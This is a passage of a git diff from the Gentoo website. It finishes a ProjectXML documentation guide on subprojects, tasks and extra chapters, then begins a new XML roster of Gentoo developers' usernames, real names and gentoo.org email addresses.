+    &lt;requirements&gt;
+      Needed &lt;b&gt;skills&lt;/b&gt; to work in the open position
+    &lt;/requirements&gt;
+    &lt;contact&gt;nick1&lt;/contact&gt;
+    &lt;contact&gt;nick2&lt;/contact&gt;
+  &lt;/job&gt;
+&lt;/recruitment&gt;
+</pre>
+
+<p>
+All posted jobs from projects listed on our <uri
+link="/proj/en/index.xml?showlevel=3">project page</uri> will appear on our
+<uri link="/proj/en/devrel/staffing-needs/">Gentoo Linux Staffing Needs</uri>
+page.
+</p>
+
+</body>
+</section>
+<section>
+<title>Adding extra content</title>
+<body>
+
+<p>
+If you think that the previous basic sections are a little empty or want
+to clarify some of them with a sentence or a paragraph, you can add some
+extra chapters which will be render just below the section you want.
+</p>
+
+<p>
+The following sections can be target of adding extra content: <c>goals</c>
+,<c>devs</c>, <c>resources</c>, <c>subprojects</c>, <c>tasks</c> and
+<c>recruitment</c>. All you need is to set the attribute <c>position</c> to the
+<c>extrachapter</c> tag. The next example show how to add info to developers
+section:
+</p>
+
+<note>
+The <c>&lt;extrachapter&gt;</c> uses a GuideXML chapter structure which may
+have one <c>&lt;title&gt;</c> and must have one or more
+<c>&lt;section&gt;</c>.  Each section may have a <c>&lt;title&gt;</c> and must
+have one or more <c>&lt;body&gt;</c>. Each <c>&lt;body&gt;</c> must have one
+ore more paragraphs, code samples, tables, lists, admonitions.
+</note>
+
+<pre caption="Adding content to devs section">
+&lt;extrachapter position="devs"&gt;
+&lt;title&gt;Note about developers&lt;/title&gt;
+&lt;section&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+The list of devs only include the official gentoo devs but the project
+works thanks to many other contributors who are not gentoo devs.
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+&lt;/extrachapter&gt;
+</pre>
+
+<p>
+Also, you can add one or more extrachapters to the top or the bottom of
+the whole page. The <c>top</c> extrachapter will be rendered just under
+the project description and the <c>bottom</c> at the end of the page.
+</p>
+
+<pre caption="Adding a contact section to the bottom of the page">
+&lt;extrachapter position="bottom"&gt;
+&lt;title&gt;How to find us&lt;/title&gt;
+&lt;section&gt;
+&lt;title&gt;Via mail&lt;/title&gt;
+&lt;body&gt;
+
+&lt;p&gt;
+To contact with the Gentoo doc team you just need to subscribe to
+our mailing list: gentoo-doc@gentoo.org.
+&lt;/p&gt;
+
+&lt;/body&gt;
+&lt;/section&gt;
+&lt;/extrachapter&gt;
+</pre>
+
+</body>
+</section>
+<section id="subprojects">
+<title>Defining Subprojects</title>
+<body>
+
+<p>
+If the projects is composed from one or more subprojects, ProjectXML
+allow you to specify them in order to be show or linked from the main
+project page.
+</p>
+
+<p>
+To determine what kind of subproject tag you need, you should follow
+the next instructions:
+</p>
+
+<ol>
+  <li>
+    If the subproject has its own ProjectXML page, the basic data can
+    be extracted from there and a link to the subproject added to the page.
+    You should use the <c>subproject</c> xml tag.
+  </li>
+  <li>
+    If the subproject don't have its own page and you want to keep the
+    information in the main projects page, then you should use
+    the <c>extraproject</c> xml tag.
+  </li>
+  <li>
+    If the subproject is planned but it hasn't started yet, the you can
+    use the <c>plannedproject</c> xml tag.
+  </li>
+</ol>
+
+
+<p>
+<b>Subprojects</b>: it's quite easy to set a subproject, just need to provide
+the path where the subproject page is allocated. It also admit a couple of
+possible attributes: <c>inheritmembers</c> which will add the devs inside dev
+subproject section to the main page dev section. The second is
+<c>inheritresources</c> which will make the same with the resource section.
+</p>
+
+<pre caption="Setting a subproject">
+&lt;subproject ref="/path/to/subproject.xml" inheritresources="yes" inheritmembers="yes"/&gt;
+</pre>
+
+
+<p>
+<b>Extraprojects</b>: extraprojects need a mandatory <c>name</c> of the project
+and give you the possibility to define the <c>lead</c> and a possible project
+<c>link</c>.  Remember to include a description of the project.
+</p>
+
+<pre caption="Setting an extraprojects">
+&lt;extraproject name="First extraproject" lead="myself"&gt;
+  Here goes the description of the extraproject. GuideXML tags are
+  allowed if you need to use them.
+&lt;/extraproject&gt;
+</pre>
+
+
+<p>
+<b>Plannedprojects</b>: for future projects the only thing needed is the
+<c>name</c> of the project and a text description.
+</p>
+
+<pre caption="Setting a planned project">
+&lt;plannedproject name="Future ProjectXML"&gt;
+  Description of the future project goes here
+&lt;/plannedproject&gt;
+</pre>
+
+</body>
+</section>
+<section>
+<title>Managing tasks</title>
+<body>
+
+<p>
+If the project has planned some tasks to accomplish the work, they can be
+reflected in the page. The tasks can be quite simple or can give a lot
+of details of what people is working on give info about the status and
+description.
+</p>
+
+<p>
+The basic information we need to fill in for a task is: the attributes
+<c>id</c>,<c>lead</c> and <c>finished</c>. Inside the task element we have to
+specify more information:the task <c>&lt;name&gt;</c>, the
+<c>&lt;description&gt;</c> and the <c>&lt;startdate&gt;</c>.
+</p>
+
+<pre caption="Defining a basic task">
+&lt;task id="basictask" lead="devnick" finished="no"&gt;
+&lt;name&gt;Defining a basic task&lt;/name&gt;
+&lt;description&gt;How to create a basic task&lt;/description&gt;
+&lt;startdate&gt;01/01/2007&lt;/startdate&gt;
+&lt;/task&gt;
+</pre>
+
+<p>
+There are more elements which can be used to extending the information
+about tasks:
+</p>
+
+<ul>
+  <li>
+    The <c>longdescription</c> tag, to give a complete overview of the
+    project activity.
+  </li>
+  <li>
+    The <c>enddate</c> tag, if the task is finished to show the period of
+    time it took.
+  </li>
+  <li>
+    One or more <c>dev</c> tags, to show the people involved in the tasks. The
+    tag allow the attributes <c>role</c> and <c>description</c>.
+  </li>
+  <li>
+    One or more <c>reference</c> tags, to include the relevant information
+    links. It can use the classic <c>&lt;uri&gt;</c>; GuideXML element or
+    contain a one or more <c>bug</c> tags to link to Gentoo Bugzilla.
+  </li>
+  <li>
+    One or more <c>milestone</c> tags, to reflect important development
+    points inside the task. The milestones tags use the attribute
+    <c>finished</c> and need the tags <c>enddate</c> and <c>description</c>.
+  </li>
+  <li>
+    One or more <c>depends</c> tags, to show the dependency between tasks.
+    You need to fill the attribute <c>ref</c> which refers to an other
+    task id.
+  </li>
+</ul>
+
+<pre caption="Defining a complete task">
+&lt;task id="basictask" lead="devnick" finished="no"&gt;
+&lt;name&gt;Defining a complete task&lt;/name&gt;
+&lt;description&gt;How to create a complete task&lt;/description&gt;
+&lt;longdescription&gt;
+A longer description about how to create a complete task.
+&lt;/longdescription&gt;
+&lt;startdate&gt;01/01/2007&lt;/startdate&gt;
+&lt;enddate&gt;06/04/2007&lt;/enddate&gt;
+&lt;dev role="designer" description="The only designer"&gt;dev1&lt;/dev&gt;
+&lt;reference&gt;&lt;uri link="/path/to/doc.xml"&gt;Main guide&lt;/uri&gt;&lt;/reference&gt;
+&lt;reference&gt;&lt;bug no="145234"/&gt;&lt;/reference&gt;
+&lt;milestone finished="yes"&gt;
+  &lt;enddate&gt;04/03/2007&lt;/enddate&gt;
+  &lt;description&gt;Thinking about write the guide&lt;/description&gt;
+&lt;/milestone&gt;
+&lt;depends ref="task1"/&gt;
+&lt;/task&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Adding your project to the Gentoo full project list</title>
+<section>
+<body>
+
+<p>
+Gentoo provides a page with the <uri link="/proj/en/index.xml">full list of
+projects</uri> belongs to the distribution. It shows all the top level projects
+and its own subprojects.  All the current projects should be listed there, so
+here is what you have to do to add your project there:
+</p>
+
+<p>
+If you are writing a subproject page, it will be enough to have it listed as
+it in the main project page (as described in the <uri
+link="#subprojects">subprojects section</uri>).
+</p>
+
+<p>
+If the project is a top level one, then you should add the project to:
+<path>/gentoo/xml/htdocs/proj/en/metastructure/gentoo.xml</path>:
+</p>
+
+<pre caption="Adding your top level project to gentoo database">
+&lt;subproject ref="/proj/en/myproject/index.xml" inheritmembers="no"/&gt;
+</pre>
+
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/metastructure/userinfo.xml b/xml/htdocs/proj/en/metastructure/userinfo.xml
new file mode 100644
index 00000000..5a545226
--- /dev/null
+++ b/xml/htdocs/proj/en/metastructure/userinfo.xml
@@ -0,0 +1,1839 @@
+<?xml version="1.0" encoding="iso-8859-1"?>
+<?xml-stylesheet href="/xsl/identity.xsl" type="text/xsl"?>
+<!DOCTYPE userlist SYSTEM "/dtd/userinfo.dtd">
+<userlist>
+  <user username="bennyc">
+    <realname fullname="Benny Chuang">
+      <firstname>Benny</firstname>
+      <familyname>Chuang</familyname>
+    </realname>
+    <pgpkey/>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="blubber">
+    <realname>
+      <firstname>Tiemo</firstname>
+      <familyname>Kieft</familyname>
+    </realname>
+    <pgpkey/>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="neysx">
+    <realname>
+      <firstname>Xavier</firstname>
+      <familyname>Neys</familyname>
+    </realname>
+    <pgpkey/>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="bip">
+    <realname fullname="Bip Thelin">
+      <firstname>Bip</firstname>
+      <familyname>Thelin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Bip@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="caleb">
+    <realname fullname="Caleb Tennis">
+      <firstname>Caleb</firstname>
+      <familyname>Tennis</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Caleb@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="erwin">
+    <realname fullname="Erwin">
+      <firstname></firstname>
+      <familyname></familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Erwin@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="gmsoft">
+    <realname fullname="Guy Martin">
+      <firstname>Guy</firstname>
+      <familyname>Martin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">GMsoft@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="hallski">
+    <realname fullname="Mikael Hallendal">
+      <firstname>Mikael</firstname>
+      <familyname>Hallendal</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Hallski@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="murray_b">
+    <realname fullname="Thomas Schutz">
+      <firstname>Thomas</firstname>
+      <familyname>Schutz</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Murray_B@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="popsickle">
+    <realname fullname="Felix De Vliegher">
+      <firstname>Felix</firstname>
+      <familyname sort="Vliegher">de Vliegher</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Popsickle@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="scandium">
+    <realname fullname="Rainer Groesslinger">
+      <firstname>Rainer</firstname>
+      <familyname>Groesslinger</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">Scandium@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="zhen">
+    <realname fullname="John P. Davis">
+      <firstname>John</firstname>
+      <familyname>P. Davis</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">ZhEN@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="a.sleep">
+    <realname fullname="Jeraimee Hughes">
+      <firstname>Jeraimee</firstname>
+      <familyname>Hughes</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">a.sleep@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="absinthe">
+    <realname fullname="Dylan Carlson">
+      <firstname>Dylan</firstname>
+      <familyname>Carlson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">absinthe@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="achim">
+    <realname fullname="Achim Gottinger">
+      <firstname>Achim</firstname>
+      <familyname>Gottinger</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">achim@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="agenkin">
+    <realname fullname="Arcady Genkin">
+      <firstname>Arcady</firstname>
+      <familyname>Genkin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">agenkin@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="agriffis">
+    <realname fullname="Aron Griffis">
+      <firstname>Aron</firstname>
+      <familyname>Griffis</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">agriffis@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="aiken">
+    <realname fullname="James Boddington">
+      <firstname>James</firstname>
+      <familyname>Boddington</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">aiken@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="aliz">
+    <realname fullname="Daniel Ahlberg">
+      <firstname>Daniel</firstname>
+      <familyname>Ahlberg</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">aliz@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="alron">
+    <realname fullname="Dean Bailey">
+      <firstname>Dean</firstname>
+      <familyname>Bailey</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">alron@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="antifa">
+    <realname fullname="Ken Nowack">
+      <firstname>Ken</firstname>
+      <familyname>Nowack</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">antifa@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="arunbhanu">
+    <realname fullname="Arun Bhanu">
+      <firstname>Arun</firstname>
+      <familyname>Bhanu</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">arunbhanu@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="avenj">
+    <realname fullname="Jon Portnoy">
+      <firstname>Jon</firstname>
+      <familyname>Portnoy</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">avenj@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="bartelt">
+    <realname fullname="Ulf Bartelt">
+      <firstname>Ulf</firstname>
+      <familyname>Bartelt</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">bartelt@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="bass">
+    <realname fullname="Jose Alberto Suarez Lopez">
+      <firstname>Jose</firstname>
+      <familyname>Alberto Suarez Lopez</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">bass@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="bcowan">
+    <realname fullname="Brad Teaford Cowan">
+      <firstname>Brad Teaford</firstname>
+      <familyname>Cowan</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">bcowan@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="bjb">
+    <realname fullname="Bjoern Brauel">
+      <firstname>Bjoern</firstname>
+      <familyname>Brauel</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">bjb@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="blademan">
+    <realname fullname="Joe Kallar">
+      <firstname>Joe</firstname>
+      <familyname>Kallar</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">blademan@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="blauwers">
+    <realname fullname="Bart Lauwers">
+      <firstname>Bart</firstname>
+      <familyname>Lauwers</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">blauwers@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="blizzy">
+    <realname fullname="Maik Schreiber">
+      <firstname>Maik</firstname>
+      <familyname>Schreiber</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">blizzy@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="blocke">
+    <realname fullname="Bruce A. Locke">
+      <firstname>Bruce</firstname>
+      <familyname>A. Locke</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">blocke@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="brain">
+    <realname fullname="Michele Balistreri">
+      <firstname>Michele</firstname>
+      <familyname>Balistreri</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">brain@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="broeman">
+    <realname fullname="Jesper Broderson">
+      <firstname>Jesper</firstname>
+      <familyname>Broderson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">broeman@gentoo.org</email>
+    <joined>2003-11-15</joined>
+    <birthday/>
+  </user>
+  <user username="carl">
+    <realname fullname="Carl Anderson">
+      <firstname>Carl</firstname>
+      <familyname>Anderson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">carl@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="carpaski">
+    <realname fullname="Nicholas Jones">
+      <firstname>Nicholas</firstname>
+      <familyname>Jones</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">carpaski@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="chadh">
+    <realname fullname="Chad Huneycutt">
+      <firstname>Chad</firstname>
+      <familyname>Huneycutt</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">chadh@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="chiguire">
+    <realname fullname="John Christian Stoddart">
+      <firstname>John</firstname>
+      <familyname>Christian Stoddart</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">chiguire@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="chouser">
+    <realname fullname="Chris Houser">
+      <firstname>Chris</firstname>
+      <familyname>Houser</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">chouser@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="cjr">
+    <realname fullname="Chris Russell">
+      <firstname>Chris</firstname>
+      <familyname>Russell</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">cjr@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="cretin">
+    <realname fullname="Stefan Jones">
+      <firstname>Stefan</firstname>
+      <familyname>Jones</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">cretin@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="cshields">
+    <realname fullname="Corey Shields">
+      <firstname>Corey</firstname>
+      <familyname>Shields</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">cshields@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="dams">
+    <realname fullname="Damien Krotkine">
+      <firstname>Damien</firstname>
+      <familyname>Krotkine</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">dams@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="danarmak">
+    <realname fullname="Dan Armak">
+      <firstname>Dan</firstname>
+      <familyname>Armak</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">danarmak@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="datashark">
+    <realname fullname="Ant�nio Meireles">
+      <firstname>Ant�nio</firstname>
+      <familyname>Meireles</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">datashark@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="daybird">
+    <realname fullname="David Chamberlain">
+      <firstname>David</firstname>
+      <familyname>Chamberlain</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">daybird@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="doctomoe">
+    <realname fullname="Olivier Reisch">
+      <firstname>Olivier</firstname>
+      <familyname>Reisch</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">doctomoe@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="dragon">
+    <realname fullname="Nicholas Wourms">
+      <firstname>Nicholas</firstname>
+      <familyname>Wourms</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">dragon@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="edolnx">
+    <realname fullname="Carl Perry">
+      <firstname>Carl</firstname>
+      <familyname>Perry</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">edolnx@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="fava">
+    <realname fullname="Fred Van Andel">
+      <firstname>Fred</firstname>
+      <familyname>Van Andel</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">fava@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="foser">
+    <realname fullname="Marinus Schraal">
+      <firstname>Marinus</firstname>
+      <familyname>Schraal</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">foser@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="g2boojum">
+    <realname fullname="Grant Goodyear">
+      <firstname>Grant</firstname>
+      <familyname>Goodyear</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">g2boojum@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="gbevin">
+    <realname fullname="Geert Bevin">
+      <firstname>Geert</firstname>
+      <familyname>Bevin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">gbevin@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="gerk">
+    <realname fullname="Mark Guertin">
+      <firstname>Mark</firstname>
+      <familyname>Guertin</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">gerk@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="gerrynjr">
+    <realname fullname="Gerald J. Normandin Jr.">
+      <firstname>Gerald</firstname>
+      <familyname>J. Normandin Jr.</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">gerrynjr@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="greendisease">
+    <realname fullname="Jack Aboutboul">
+      <firstname>Jack</firstname>
+      <familyname>Aboutboul</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">greendisease@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="hanno">
+    <realname fullname="Hanno Boeck">
+      <firstname>Hanno</firstname>
+      <familyname>Boeck</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">hanno@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="heim">
+    <realname fullname="Todd Heim">
+      <firstname>Todd</firstname>
+      <familyname>Heim</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">heim@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="hsinhsin">
+    <realname fullname="Peter Bilitch">
+      <firstname>Peter</firstname>
+      <familyname>Bilitch</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">hsinhsin@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="icars">
+    <realname fullname="Andrea Barisani">
+      <firstname>Andrea</firstname>
+      <familyname>Barisani</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">icars@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="iggy">
+    <realname fullname="Brian Jackson">
+      <firstname>Brian</firstname>
+      <familyname>Jackson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">iggy@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="jacques">
+    <realname fullname="Dwayne Jacques Fontenot">
+      <firstname>Dwayne</firstname>
+      <familyname>Jacques Fontenot</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">jacques@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="jayskwak">
+    <realname fullname="Jae Yang Kwak">
+      <firstname>Jae</firstname>
+      <familyname>Yang Kwak</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">jayskwak@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="jhhudso">
+    <realname fullname="Jared H. Hudson">
+      <firstname>Jared</firstname>
+      <familyname>H. Hudson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">jhhudso@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="joker">
+    <realname fullname="Christian Birchinger">
+      <firstname>Christian</firstname>
+      <familyname>Birchinger</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">joker@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="jrray">
+    <realname fullname="J Robert Ray">
+      <firstname>J</firstname>
+      <familyname>Robert Ray</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">jrray@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="kain">
+    <realname fullname="Bryon Roche">
+      <firstname>Bryon</firstname>
+      <familyname>Roche</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">kain@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="karltk">
+    <realname fullname="Karl Trygve Kalleberg">
+      <firstname>Karl</firstname>
+      <familyname>Trygve Kalleberg</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">karltk@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="klasikahl">
+    <realname fullname="Zack Gilburd">
+      <firstname>Zack</firstname>
+      <familyname>Gilburd</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">klasikahl@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="klieber">
+    <realname fullname="Kurt Lieber">
+      <firstname>Kurt</firstname>
+      <familyname>Lieber</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">klieber@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="kumba">
+    <realname fullname="Joshua Kinard">
+      <firstname>Joshua</firstname>
+      <familyname>Kinard</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">kumba@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="kutsuya">
+    <realname fullname="Jason Shoemaker">
+      <firstname>Jason</firstname>
+      <familyname>Shoemaker</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">kutsuya@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lcars">
+    <realname fullname="Andrea Barisani">
+      <firstname>Andrea</firstname>
+      <familyname>Barisani</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lcars@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="leonardop">
+    <realname fullname="Leonardo Boshell">
+      <firstname>Leonardo</firstname>
+      <familyname>Boshell</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">leonardop@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lisa">
+    <realname fullname="Lisa M. Seelye">
+      <firstname>Lisa</firstname>
+      <familyname>M. Seelye</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lisa@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="livewire">
+    <realname fullname="Bob Johnson">
+      <firstname>Bob</firstname>
+      <familyname>Johnson</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">livewire@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="lostlogic">
+    <realname fullname="Brandon Low">
+      <firstname>Brandon</firstname>
+      <familyname>Low</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">lostlogic@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="malverian">
+    <realname fullname="Philip Walls">
+      <firstname>Philip</firstname>
+      <familyname>Walls</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">malverian@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="martigen">
+    <realname fullname="Ashton Mills">
+      <firstname>Ashton</firstname>
+      <familyname>Mills</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">martigen@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mattjf">
+    <realname fullname="Matthew J. Fanto">
+      <firstname>Matthew</firstname>
+      <familyname>J. Fanto</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mattjf@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mcummings">
+    <realname fullname="Michael Cummings">
+      <firstname>Michael</firstname>
+      <familyname>Cummings</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mcummings@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mholzer">
+    <realname fullname="Martin Holzer">
+      <firstname>Martin</firstname>
+      <familyname>Holzer</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mholzer@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mjc">
+    <realname fullname="Michael J. Cohen">
+      <firstname>Michael</firstname>
+      <familyname>J. Cohen</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mjc@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mkeadle">
+    <realname fullname="Matt Keadle">
+      <firstname>Matt</firstname>
+      <familyname>Keadle</familyname>
+    </realname>
+    <pgpkey/>
+    <email role="gentoo">mkeadle@gentoo.org</email>
+    <joined/>
+    <birthday/>
+  </user>
+  <user username="mksoft">
+    <realname fullname="Meir Kriheili">
+      <firstname>Meir</firstname>
